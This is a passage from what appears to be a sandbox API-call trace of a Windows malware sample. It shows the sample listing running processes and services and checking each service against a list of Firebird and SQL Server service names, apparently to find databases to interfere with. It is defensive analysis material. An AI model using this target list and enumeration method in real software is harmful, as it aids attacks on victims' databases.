(lpString="SystemEventsBroker") returned 18 [0178.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0178.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0178.286] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0178.286] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0178.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0178.286] lstrlenW (lpString="Themes") returned 6 [0178.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0178.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0178.286] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0178.286] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0178.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0178.286] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0178.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0178.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0178.286] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0178.286] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0178.286] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0178.286] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x450 [0178.295] Process32FirstW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.295] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0178.295] lstrlenW (lpString="System") returned 6 [0178.296] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0178.296] lstrlenW (lpString="smss.exe") returned 8 [0178.296] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0178.617] lstrlenW (lpString="csrss.exe") returned 9 [0178.637] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0178.638] lstrlenW (lpString="wininit.exe") returned 11 [0178.638] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0178.638] lstrlenW (lpString="csrss.exe") returned 9 [0178.638] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0178.638] lstrlenW (lpString="winlogon.exe") returned 12 [0178.638] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0178.639] lstrlenW (lpString="services.exe") returned 12 [0178.639] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0178.639] lstrlenW (lpString="lsass.exe") returned 9 [0178.639] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0178.640] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0178.640] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0178.640] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0178.640] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.641] lstrlenW (lpString="svchost.exe") returned 11 [0178.641] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.641] lstrlenW (lpString="svchost.exe") returned 11 [0178.641] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0178.641] lstrlenW (lpString="dwm.exe") returned 7 [0178.641] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.642] lstrlenW (lpString="svchost.exe") returned 11 [0178.642] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.642] lstrlenW (lpString="svchost.exe") returned 11 [0178.642] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.643] lstrlenW (lpString="svchost.exe") returned 11 [0178.643] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.643] lstrlenW (lpString="svchost.exe") returned 11 [0178.643] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.644] lstrlenW (lpString="svchost.exe") returned 11 [0178.644] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.644] lstrlenW (lpString="svchost.exe") returned 11 [0178.644] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.644] lstrlenW (lpString="svchost.exe") returned 11 [0178.644] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.645] lstrlenW (lpString="svchost.exe") returned 11 [0178.645] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.645] lstrlenW (lpString="svchost.exe") returned 11 [0178.645] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.646] lstrlenW (lpString="svchost.exe") returned 11 [0178.646] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0178.646] lstrlenW (lpString="spoolsv.exe") returned 11 [0178.646] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.647] lstrlenW (lpString="svchost.exe") returned 11 [0178.647] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0178.647] lstrlenW (lpString="audiodg.exe") returned 11 [0178.647] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0178.648] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0178.648] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0178.648] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0178.648] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0178.649] lstrlenW (lpString="Memory Compression") returned 18 [0178.649] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0178.649] lstrlenW (lpString="sihost.exe") returned 10 [0178.649] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.650] lstrlenW (lpString="svchost.exe") returned 11 [0178.650] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0178.650] lstrlenW (lpString="taskhostw.exe") returned 13 [0178.650] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0178.651] lstrlenW (lpString="msoia.exe") returned 9 [0178.651] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0178.651] lstrlenW (lpString="explorer.exe") returned 12 [0178.651] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0178.652] lstrlenW (lpString="SearchUI.exe") returned 12 [0178.652] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0178.652] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0178.652] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0178.653] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0178.653] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0178.653] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0178.653] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0178.653] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0178.653] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0178.654] lstrlenW (lpString="cmd.exe") returned 7 [0178.654] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0178.654] lstrlenW (lpString="conhost.exe") returned 11 [0178.654] Process32NextW (in: hSnapshot=0x450, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0178.655] CloseHandle (hObject=0x450) returned 1 [0178.655] Sleep (dwMilliseconds=0x1f4) [0179.497] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3d3ee60 [0179.498] EnumServicesStatusExW (in: hSCManager=0x3d3ee60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0179.498] GetLastError () returned 0xea [0179.498] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c28) returned 0x4458850 [0179.498] EnumServicesStatusExW (in: hSCManager=0x3d3ee60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4458850, cbBufSize=0x1c28, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4458850, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0179.500] CloseServiceHandle (hSCObject=0x3d3ee60) returned 1 [0179.500] lstrlenW (lpString="AppXSvc") returned 7 [0179.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0179.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0179.500] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0179.500] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0179.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0179.500] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0179.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0179.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0179.500] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0179.500] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0179.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0179.500] lstrlenW (lpString="Audiosrv") returned 8 [0179.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0179.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0179.500] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0179.500] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0179.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0179.500] lstrlenW (lpString="BFE") returned 3 [0179.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0179.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0179.501] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0179.501] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0179.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0179.501] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0179.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0179.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0179.501] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0179.501] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0179.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0179.501] lstrlenW (lpString="CDPSvc") returned 6 [0179.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0179.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0179.501] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0179.501] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0179.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0179.501] lstrlenW (lpString="ClickToRunSvc") returned 13 [0179.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0179.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0179.501] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0179.501] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0179.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0179.501] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0179.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0179.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0179.501] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0179.501] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0179.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0179.501] lstrlenW (lpString="CryptSvc") returned 8 [0179.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0179.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0179.501] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0179.501] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0179.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0179.502] lstrlenW (lpString="DcomLaunch") returned 10 [0179.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0179.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0179.502] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0179.502] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0179.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0179.502] lstrlenW (lpString="DeviceAssociationService") returned 24 [0179.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0179.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0179.502] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0179.502] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0179.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0179.502] lstrlenW (lpString="Dhcp") returned 4 [0179.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0179.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0179.502] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0179.502] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0179.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0179.502] lstrlenW (lpString="Dnscache") returned 8 [0179.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0179.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0179.502] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0179.502] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0179.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0179.502] lstrlenW (lpString="DPS") returned 3 [0179.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0179.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0179.502] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0179.502] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0179.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0179.502] lstrlenW (lpString="DsmSvc") returned 6 [0179.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0179.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0179.503] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0179.503] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0179.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0179.503] lstrlenW (lpString="DusmSvc") returned 7 [0179.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0179.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0179.503] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0179.503] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0179.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0179.503] lstrlenW (lpString="EventLog") returned 8 [0179.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0179.503] lstrcmpiW 